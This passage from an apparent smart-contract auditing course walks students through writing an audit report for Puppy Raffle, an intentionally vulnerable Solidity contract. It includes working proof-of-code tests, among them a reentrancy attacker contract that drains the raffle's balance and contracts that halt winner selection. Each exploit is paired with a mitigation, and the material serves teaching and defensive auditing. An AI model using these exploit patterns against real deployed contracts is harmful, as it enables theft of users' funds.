"duration": 2, + "videoUrl": "hkAJeXIrnASRt8ZuKsfvcrmcGLunb1QxxlgOgBMo500s", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/61-reporting-mishandling-of-eth/+page.md", + "markdownContent": "---\ntitle: Reporting - Mishandling of Eth\n---\n\n_Follow along with this video:_\n\n---\n\n### Mishandling of Eth and MEV\n\nFrankly, we're going to skip the write ups for these.\n\nMEV issues, as I've mentioned, we'll go over later in the course, so we'll skip this for now.\n\nAs for Mishandling of Eth, we briefly touched on this earlier. The issue really boils down to this line:\n\n```js\nrequire(address(this).balance ==\n uint256(totalFees), \"PuppyRaffle: There are currently players active!\");\n```\n\nThis requirement to withdraw leads to a number of potential pitfalls, including an inability to withdraw if the contract accounting becomes broken as well as opening the protocol up to griefing should a raffle always be open. Generally something we should inform the protocol of.\n", + "updates": [] + }, + { + "lessonId": "9fd225bc-0235-4198-9c75-dfa5996e307d", + "number": 62, + "title": "Reporting: Missing Events And Remove Dead Code", + "slug": "reporting-missing-events-and-remove-dead-code", + "folderName": "62-reporting-missing-events-and-remove-dead-code", + "description": "", + "duration": 2, + "videoUrl": "Uq1cq402i1k3hsPgOVjGtVQAXZQcbw02ZLtb016vuBRf00U", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/62-reporting-missing-events-and-remove-dead-code/+page.md", + "markdownContent": "---\ntitle: Reporting - Missing Events And Remove Dead Code\n---\n\n_Follow along with this video:_\n\n---\n\n## Missing Events and Dead Code\n\nThere are definitely events missing in Puppy Raffle, but we'll keep this write up quick.\n\nThis will be an informational finding, as we discussed earlier. A write up for this is going to look something like so:\n\n```\n### [I-6] State Changes are Missing Events\n\nA lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.\n\nIt is best practice to emit an event whenever an action results in a state change.\n\nExamples:\n- `PuppyRaffle::totalFees` within the `selectWinner` function\n- `PuppyRaffle::raffleStartTime` within the `selectWinner` function\n- `PuppyRaffle::totalFees` within the `withdrawFees` function\n```\n\nAdditionally, a quick write is likely all that's required for the next finding we identified, which was that `_getActivePlayerIndex` was `dead code` and never actually used. This could be `Gas` or `Informational`.\n\n````\n### [I-7] _isActivePlayer is never used and should be removed\n\n**Description:** The function PuppyRaffle::_isActivePlayer is never used and should be removed.\n\n ```diff\n - function _isActivePlayer() internal view returns (bool) {\n - for (uint256 i = 0; i < players.length; i++) {\n - if (players[i] == msg.sender) {\n - return true;\n - }\n - }\n - return false;\n - }\n ```\n````\n", + "updates": [] + }, + { + "lessonId": "8c41603b-156e-45b6-b603-b16525403bdf", + "number": 63, + "title": "Adding The Audit To Our Portfolio", + "slug": "adding-the-audit-to-our-portfolio", + "folderName": "63-adding-the-audit-to-our-portfolio", + "description": "", + "duration": 6, + "videoUrl": "D1M02NFuke02zmyAu8eAUiHWronJFzAvGsxumG4Mt2z6M", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/63-adding-the-audit-to-our-portfolio/+page.md", + "markdownContent": "---\ntitle: Adding The Audit To Our Portfolio\n---\n\n_Follow along with this video:_\n\n---\n\n### Adding to our Portfolio\n\nOk, we've - for the most part - completed the write ups for the findings we identified in Puppy Raffle. The next step is generatin our PDF report and adding this to our security portfolio!\n\nFirst step, let's add what we need to our `audit-data` folder.\n\nBoilerplating things is something you should get used to. This involves reusing assets and templating processes so that it's quick to get started. Here, we can grab our logo from our previous `PasswordStore` repo, and our formatted report template can be copied from [**`audit-report-templating`**](https://github.com/Cyfrin/audit-report-templating) repo into a new file we name `report-formatted.md` within our `audit-data` folder.\n\n\n\nWith this template in place, we can just begin filling it out. Start by adding your name and details to customize the report.\n\n> **Note:** Keep an eye out for `//comments` in the report template below. This is where I'll have explained what's been added to each section.\n\nView the report in the dropdown below, please know it's quiet long.\n\n
\nPDF Report Template\n\n ---\n title: Puppy Raffle Audit Report\n author: \n date: January 12, 2024\n header-includes:\n - \\usepackage{titling}\n - \\usepackage{graphicx}\n ---\n\n \\begin{titlepage}\n \\centering\n \\begin{figure}[h]\n \\centering\n \\includegraphics[width=0.5\\textwidth]{logo.pdf}\n \\end{figure}\n \\vspace*{2cm}\n {\\Huge\\bfseries Protocol Audit Report\\par}\n \\vspace{1cm}\n {\\Large Version 1.0\\par}\n \\vspace{2cm}\n {\\Large\\itshape Cyfrin.io\\par}\n \\vfill\n {\\large \\today\\par}\n \\end{titlepage}\n\n \\maketitle\n\n \n\n Prepared by: \n Lead Auditors:\n - \n\n # Table of Contents\n - [Table of Contents](#table-of-contents)\n - [Protocol Summary](#protocol-summary)\n - [Disclaimer](#disclaimer)\n - [Risk Classification](#risk-classification)\n - [Audit Details](#audit-details)\n - [Scope](#scope)\n - [Roles](#roles)\n - [Executive Summary](#executive-summary)\n - [Issues found](#issues-found)\n - [Findings](#findings)\n - [High](#high)\n - [Medium](#medium)\n - [Low](#low)\n - [Informational](#informational)\n - [Gas](#gas)\n\n # Protocol Summary\n\n // You might want to write your own personal summary here for practice! We're going to steal some details from the protocol README\n\n This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:\n\n - Call the enterRaffle function with the following parameters:\n - address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.\n - Duplicate addresses are not allowed\n - Users are allowed to get a refund of their ticket & value if they call the refund function\n - Every X seconds, the raffle will be able to draw a winner and be minted a random puppy\n - The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.\n\n\n # Disclaimer\n\n The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.\n\n # Risk Classification\n\n | | | Impact | | |\n | ---------- | ------ | ------ | ------ | --- |\n | | | High | Medium | Low |\n | | High | H | H/M | M |\n | Likelihood | Medium | H/M | M | M/L |\n | | Low | M | M/L | L |\n\n We use the [CodeHawks](https://docs.codehawks.com/hawks-auditors/how-to-evaluate-a-finding-severity) severity matrix to determine severity. See the documentation for more details.\n\n # Audit Details\n // Here we'll grab the commit hash\n Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5\n\n ## Scope\n // Scope can be grabbed from the README as well, remember to replace the └── symbol!\n\n ./src/\n #-- PuppyRaffle.sol\n\n ## Roles\n // These details should be provided by the protocol, grab them from the README.\n\n - Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.\n - Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.\n\n # Executive Summary\n // You can add any notes you'd like to this section to summarize your experience during the security review.\n\n I loved auditing this code base. Patrick is a wizard at writing intentionally bad code!\n\n ## Issues found\n\n | Severity | Number of issues found |\n | -------- | ---------------------- |\n | High | 3 |\n | Medium | 3 |\n | Low | 1 |\n | Info | 7 |\n | Gas | 2 |\n | Total | 16 |\n\n # Findings\n // Here we should be able to double check the formatting on our findings.md file and paste all of our findings here.\n\n ## High\n\n ### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance\n\n **Description:** The `PuppyRaffle::refund` function does not follow [CEI/FREI-PI](https://www.nascent.xyz/idea/youre-writing-require-statements-wrong) and as a result, enables participants to drain the contract balance.\n\n In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the `players` array.\n\n ```javascript\n function refund(uint256 playerIndex) public {\n address playerAddress = players[playerIndex];\n require(playerAddress == msg.sender, \"PuppyRaffle: Only the player can refund\");\n require(playerAddress != address(0), \"PuppyRaffle: Player already refunded, or is not active\");\n\n @> payable(msg.sender).sendValue(entranceFee);\n\n @> players[playerIndex] = address(0);\n emit RaffleRefunded(playerAddress);\n }\n ```\n\n A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.\n\n **Impact:** All fees paid by raffle entrants could be stolen by the malicious participant.\n\n **Proof of Concept:**\n\n 1. Users enters the raffle.\n 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.\n 3. Attacker enters the raffle\n 4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.\n\n **Proof of Code:**\n\n
\n Code\n Add the following code to the `PuppyRaffleTest.t.sol` file.\n\n ```javascript\n contract ReentrancyAttacker {\n PuppyRaffle puppyRaffle;\n uint256 entranceFee;\n uint256 attackerIndex;\n\n constructor(address _puppyRaffle) {\n puppyRaffle = PuppyRaffle(_puppyRaffle);\n entranceFee = puppyRaffle.entranceFee();\n }\n\n function attack() external payable {\n address[] memory players = new address[](1);\n players[0] = address(this);\n puppyRaffle.enterRaffle{value: entranceFee}(players);\n attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));\n puppyRaffle.refund(attackerIndex);\n }\n\n fallback() external payable {\n if (address(puppyRaffle).balance >= entranceFee) {\n puppyRaffle.refund(attackerIndex);\n }\n }\n }\n\n function testReentrance() public playersEntered {\n ReentrancyAttacker attacker = new ReentrancyAttacker(address(puppyRaffle));\n vm.deal(address(attacker), 1e18);\n uint256 startingAttackerBalance = address(attacker).balance;\n uint256 startingContractBalance = address(puppyRaffle).balance;\n\n attacker.attack();\n\n uint256 endingAttackerBalance = address(attacker).balance;\n uint256 endingContractBalance = address(puppyRaffle).balance;\n assertEq(endingAttackerBalance, startingAttackerBalance + startingContractBalance);\n assertEq(endingContractBalance, 0);\n }\n ```\n
\n\n **Recommended Mitigation:** To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.\n\n ```diff\n function refund(uint256 playerIndex) public {\n address playerAddress = players[playerIndex];\n require(playerAddress == msg.sender, \"PuppyRaffle: Only the player can refund\");\n require(playerAddress != address(0), \"PuppyRaffle: Player already refunded, or is not active\");\n + players[playerIndex] = address(0);\n + emit RaffleRefunded(playerAddress);\n (bool success,) = msg.sender.call{value: entranceFee}(\"\");\n require(success, \"PuppyRaffle: Failed to refund player\");\n - players[playerIndex] = address(0);\n - emit RaffleRefunded(playerAddress);\n }\n ```\n\n ### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner\n\n **Description:** Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.\n\n **Impact:** Any user can choose the winner of the raffle, winning the money and selecting the \"rarest\" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.\n\n **Proof of Concept:**\n\n There are a few attack vectors here.\n\n 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the [solidity blog on prevrando](https://soliditydeveloper.com/prevrandao) here. `block.difficulty` was recently replaced with `prevrandao`.\n 2. Users can manipulate the `msg.sender` value to result in their index being the winner.\n\n Using on-chain values as a randomness seed is a [well-known attack vector](https://betterprogramming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.\n\n **Recommended Mitigation:** Consider using an oracle for your randomness like [Chainlink VRF](https://docs.chain.link/vrf/v2/introduction).\n\n ### [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees\n\n **Description:** In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.\n\n ```javascript\n uint64 myVar = type(uint64).max;\n // myVar will be 18446744073709551615\n myVar = myVar + 1;\n // myVar will be 0\n ```\n\n **Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.\n\n **Proof of Concept:**\n 3. We first conclude a raffle of 4 players to collect some fees.\n 4. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.\n 5. `totalFees` will be:\n ```javascript\n totalFees = totalFees + uint64(fee);\n // substituted\n totalFees = 800000000000000000 + 17800000000000000000;\n // due to overflow, the following is now the case\n totalFees = 153255926290448384;\n ```\n 6. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:\n ```javascript\n require(address(this).balance == uint256(totalFees), \"PuppyRaffle: There are currently players active!\");\n ```\n\n Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.\n\n
\n Proof Of Code\n Place this into the `PuppyRaffleTest.t.sol` file.\n\n ```javascript\n function testTotalFeesOverflow() public playersEntered {\n // We finish a raffle of 4 to collect some fees\n vm.warp(block.timestamp + duration + 1);\n vm.roll(block.number + 1);\n puppyRaffle.selectWinner();\n uint256 startingTotalFees = puppyRaffle.totalFees();\n // startingTotalFees = 800000000000000000\n\n // We then have 89 players enter a new raffle\n uint256 playersNum = 89;\n address[] memory players = new address[](playersNum);\n for (uint256 i = 0; i < playersNum; i++) {\n players[i] = address(i);\n }\n puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);\n // We end the raffle\n vm.warp(block.timestamp + duration + 1);\n vm.roll(block.number + 1);\n\n // And here is where the issue occurs\n // We will now have fewer fees even though we just finished a second raffle\n puppyRaffle.selectWinner();\n\n uint256 endingTotalFees = puppyRaffle.totalFees();\n console.log(\"ending total fees\", endingTotalFees);\n assert(endingTotalFees < startingTotalFees);\n\n // We are also unable to withdraw any fees because of the require check\n vm.prank(puppyRaffle.feeAddress());\n vm.expectRevert(\"PuppyRaffle: There are currently players active!\");\n puppyRaffle.withdrawFees();\n }\n ```\n
\n\n **Recommended Mitigation:** There are a few recommended mitigations here.\n\n 7. Use a newer version of Solidity that does not allow integer overflows by default.\n\n ```diff\n - pragma solidity ^0.7.6;\n + pragma solidity ^0.8.18;\n ```\n\n Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.\n\n 1. Use a `uint256` instead of a `uint64` for `totalFees`.\n\n ```diff\n - uint64 public totalFees = 0;\n + uint256 public totalFees = 0;\n ```\n\n 1. Remove the balance check in `PuppyRaffle::withdrawFees`\n\n ```diff\n - require(address(this).balance == uint256(totalFees), \"PuppyRaffle: There are currently players active!\");\n ```\n\n We additionally want to bring your attention to another attack vector as a result of this line in a future finding.\n\n ### [H-4] Malicious winner can forever halt the raffle\n \n\n **Description:** Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.\n\n ```javascript\n (bool success,) = winner.call{value: prizePool}(\"\");\n require(success, \"PuppyRaffle: Failed to send prize pool to winner\");\n ```\n\n If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.\n\n There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.\n\n Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.\n\n **Impact:** In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.\n\n **Proof of Concept:**\n\n
\n Proof Of Code\n Place the following test into `PuppyRaffleTest.t.sol`.\n\n ```javascript\n function testSelectWinnerDoS() public {\n vm.warp(block.timestamp + duration + 1);\n vm.roll(block.number + 1);\n\n address[] memory players = new address[](4);\n players[0] = address(new AttackerContract());\n players[1] = address(new AttackerContract());\n players[2] = address(new AttackerContract());\n players[3] = address(new AttackerContract());\n puppyRaffle.enterRaffle{value: entranceFee * 4}(players);\n\n vm.expectRevert();\n puppyRaffle.selectWinner();\n }\n ```\n\n For example, the `AttackerContract` can be this:\n\n ```javascript\n contract AttackerContract {\n // Implements a `receive` function that always reverts\n receive() external payable {\n revert();\n }\n }\n ```\n\n Or this:\n\n ```javascript\n contract AttackerContract {\n // Implements a `receive` function to receive prize, but does not implement `onERC721Received` hook to receive the NFT.\n receive() external payable {}\n }\n ```\n
\n\n **Recommended Mitigation:** Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.\n\n ## Medium\n\n ### [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS vector, incrementing gas costs for future entrants\n\n **Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means that the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.\n\n **Note to students: This next line would likely be it's own finding itself. However, we haven't taught you about MEV yet, so we are going to ignore it.**\n Additionally, this increased gas cost creates front-running opportunities where malicious users can front-run another raffle entrant's transaction, increasing its costs, so their enter transaction fails.\n\n **Impact:** The impact is two-fold.\n\n 1. The gas costs for raffle entrants will greatly increase as more players enter the raffle.\n 2. Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transaction fails.\n\n **Proof of Concept:**\n\n If we have 2 sets of 100 players enter, the gas costs will be as such:\n - 1st 100 players: 6252039\n - 2nd 100 players: 18067741\n\n This is more than 3x as expensive for the second set of 100 players!\n\n This is due to the for loop in the `PuppyRaffle::enterRaffle` function.\n\n ```javascript\n // Check for duplicates\n @> for (uint256 i = 0; i < players.length - 1; i++) {\n for (uint256 j = i + 1; j < players.length; j++) {\n require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n }\n }\n ```\n\n
\n Proof Of Code\n Place the following test into `PuppyRaffleTest.t.sol`.\n\n ```javascript\n function testReadDuplicateGasCosts() public {\n vm.txGasPrice(1);\n\n // We will enter 5 players into the raffle\n uint256 playersNum = 100;\n address[] memory players = new address[](playersNum);\n for (uint256 i = 0; i < playersNum; i++) {\n players[i] = address(i);\n }\n // And see how much gas it cost to enter\n uint256 gasStart = gasleft();\n puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);\n uint256 gasEnd = gasleft();\n uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;\n console.log(\"Gas cost of the 1st 100 players:\", gasUsedFirst);\n\n // We will enter 5 more players into the raffle\n for (uint256 i = 0; i < playersNum; i++) {\n players[i] = address(i + playersNum);\n }\n // And see how much more expensive it is\n gasStart = gasleft();\n puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);\n gasEnd = gasleft();\n uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;\n console.log(\"Gas cost of the 2nd 100 players:\", gasUsedSecond);\n\n assert(gasUsedFirst < gasUsedSecond);\n // Logs:\n // Gas cost of the 1st 100 players: 6252039\n // Gas cost of the 2nd 100 players: 18067741\n }\n ```\n
\n\n **Recommended Mitigation:** There are a few recommended mitigations.\n\n 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.\n 2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.\n\n ```diff\n + mapping(address => uint256) public addressToRaffleId;\n + uint256 public raffleId = 0;\n .\n .\n .\n function enterRaffle(address[] memory newPlayers) public payable {\n require(msg.value == entranceFee * newPlayers.length, \"PuppyRaffle: Must send enough to enter raffle\");\n for (uint256 i = 0; i < newPlayers.length; i++) {\n players.push(newPlayers[i]);\n + addressToRaffleId[newPlayers[i]] = raffleId;\n }\n\n - // Check for duplicates\n + // Check for duplicates only from the new players\n + for (uint256 i = 0; i < newPlayers.length; i++) {\n + require(addressToRaffleId[newPlayers[i]] != raffleId, \"PuppyRaffle: Duplicate player\");\n + }\n - for (uint256 i = 0; i < players.length; i++) {\n - for (uint256 j = i + 1; j < players.length; j++) {\n - require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n - }\n - }\n emit RaffleEnter(newPlayers);\n }\n .\n .\n .\n function selectWinner() external {\n + raffleId = raffleId + 1;\n require(block.timestamp >= raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n ```\n\n Alternatively, you could use [OpenZeppelin's `EnumerableSet` library](https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumerableSet).\n\n ### [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals\n\n **Description:** The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.\n\n ```javascript\n function withdrawFees() external {\n @> require(address(this).balance == uint256(totalFees), \"PuppyRaffle: There are currently players active!\");\n uint256 feesToWithdraw = totalFees;\n totalFees = 0;\n (bool success,) = feeAddress.call{value: feesToWithdraw}(\"\");\n require(success, \"PuppyRaffle: Failed to withdraw fees\");\n }\n ```\n\n **Impact:** This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.\n\n **Proof of Concept:**\n\n 1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.\n 2. Malicious user sends 1 wei via a `selfdestruct`\n 3. `feeAddress` is no longer able to withdraw funds\n\n **Recommended Mitigation:** Remove the balance check on the `PuppyRaffle::withdrawFees` function.\n\n ```diff\n function withdrawFees() external {\n - require(address(this).balance == uint256(totalFees), \"PuppyRaffle: There are currently players active!\");\n uint256 feesToWithdraw = totalFees;\n totalFees = 0;\n (bool success,) = feeAddress.call{value: feesToWithdraw}(\"\");\n require(success, \"PuppyRaffle: Failed to withdraw fees\");\n }\n ```\n\n ### [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees\n\n **Description:** In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.\n\n ```javascript\n function selectWinner() external {\n require(block.timestamp >= raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n require(players.length > 0, \"PuppyRaffle: No players in raffle\");\n\n uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;\n address winner = players[winnerIndex];\n uint256 fee = totalFees / 10;\n uint256 winnings = address(this).balance - fee;\n @> totalFees = totalFees + uint64(fee);\n players = new address[](0);\n emit RaffleWinner(winner, winnings);\n }\n ```\n\n The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.\n\n **Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.\n\n **Proof of Concept:**\n\n 1. A raffle proceeds with a little more than 18 ETH worth of fees collected\n 2. The line that casts the `fee` as a `uint64` hits\n 3. `totalFees` is incorrectly updated with a lower amount\n\n You can replicate this in foundry's chisel by running the following:\n\n ```javascript\n uint256 max = type(uint64).max\n uint256 fee = max + 1\n uint64(fee)\n // prints 0\n ```\n\n **Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:\n\n ```javascript\n // We do some storage packing to save gas\n ```\n But the potential gas saved isn't worth it if we have to recast and this bug exists.\n\n ```diff\n - uint64 public totalFees = 0;\n + uint256 public totalFees = 0;\n .\n .\n .\n function selectWinner() external {\n require(block.timestamp >= raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n require(players.length >= 4, \"PuppyRaffle: Need at least 4 players\");\n uint256 winnerIndex =\n uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;\n address winner = players[winnerIndex];\n uint256 totalAmountCollected = players.length * entranceFee;\n uint256 prizePool = (totalAmountCollected * 80) / 100;\n uint256 fee = (totalAmountCollected * 20) / 100;\n - totalFees = totalFees + uint64(fee);\n + totalFees = totalFees + fee;\n ```\n\n ### [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest\n\n **Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.\n\n Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.\n\n **Impact:** The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.\n\n Also, true winners would not be able to get paid out, and someone else would win their money!\n\n **Proof of Concept:**\n 1. 10 smart contract wallets enter the lottery without a fallback or receive function.\n 2. The lottery ends\n 3. The `selectWinner` function wouldn't work, even though the lottery is over!\n\n **Recommended Mitigation:** There are a few options to mitigate this issue.\n\n 4. Do not allow smart contract wallet entrants (not recommended)\n 5. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)\n\n ## Informational / Non-Critical\n\n ### [I-1] Floating pragmas\n\n **Description:** Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.\n\n https://swcregistry.io/docs/SWC-103/\n\n **Recommended Mitigation:** Lock up pragma versions.\n\n ```diff\n - pragma solidity ^0.7.6;\n + pragma solidity 0.7.6;\n ```\n\n ### [I-2] Magic Numbers\n\n **Description:** All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called \"magic numbers\".\n\n **Recommended Mitigation:** Replace all magic numbers with constants.\n\n ```diff\n + uint256 public constant PRIZE_POOL_PERCENTAGE = 80;\n + uint256 public constant FEE_PERCENTAGE = 20;\n + uint256 public constant TOTAL_PERCENTAGE = 100;\n .\n .\n .\n - uint256 prizePool = (totalAmountCollected * 80) / 100;\n - uint256 fee = (totalAmountCollected * 20) / 100;\n uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;\n uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / TOTAL_PERCENTAGE;\n ```\n\n ### [I-3] Test Coverage\n\n **Description:** The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.\n\n ```\n | File | % Lines | % Statements | % Branches | % Funcs |\n | ---------------------------------- | -------------- | -------------- | -------------- | ------------- |\n | script/DeployPuppyRaffle.sol | 0.00% (0/3) | 0.00% (0/4) | 100.00% (0/0) | 0.00% (0/1) |\n | src/PuppyRaffle.sol | 82.46% (47/57) | 83.75% (67/80) | 66.67% (20/30) | 77.78% (7/9) |\n | test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7) | 100.00% (8/8) | 50.00% (1/2) | 100.00% (2/2) |\n | Total | 80.60% (54/67) | 81.52% (75/92) | 65.62% (21/32) | 75.00% (9/12) |\n ```\n\n **Recommended Mitigation:** Increase test coverage to 90% or higher, especially for the `Branches` column.\n\n ### [I-4] Zero address validation\n\n **Description:** The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.\n\n ```\n PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/PuppyRaffle.sol#57) lacks a zero-check on :\n - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)\n PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.sol#165) lacks a zero-check on :\n - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)\n ```\n\n **Recommended Mitigation:** Add a zero address check whenever the `feeAddress` is updated.\n\n ### [I-5] _isActivePlayer is never used and should be removed\n\n **Description:** The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.\n\n ```diff\n - function _isActivePlayer() internal view returns (bool) {\n - for (uint256 i = 0; i < players.length; i++) {\n - if (players[i] == msg.sender) {\n - return true;\n - }\n - }\n - return false;\n - }\n ```\n\n ### [I-6] Unchanged variables should be constant or immutable\n\n Constant Instances:\n ```\n PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant\n PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be constant\n PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant\n ```\n\n Immutable Instances:\n\n ```\n PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable\n ```\n\n ### [I-7] Potentially erroneous active player index\n\n **Description:** The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.\n\n **Recommended Mitigation:** Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.\n\n ### [I-8] Zero address may be erroneously considered an active player\n\n **Description:** The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that \"This function will allow there to be blank spots in the array\". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.\n\n **Recommended Mitigation:** Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can _never_ be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.\n\n ## Gas\n\n ### [G-2] Storage Variables in a Loop Should be Cached\n\n Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.\n\n ```diff\n + uint256 playersLength = players.length;\n - for (uint256 i = 0; i < players.length - 1; i++) {\n + for (uint256 i = 0; i < playersLength - 1; i++) {\n - for (uint256 j = i + 1; j < players.length; j++) {\n + for (uint256 j = i + 1; j < playersLength; j++) {\n require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n }\n }\n ```\n ### [G-1] Unchanged state variables should be declared constant or immutable\n\n Reading from storage is much more expensive than reading a constant or immutable 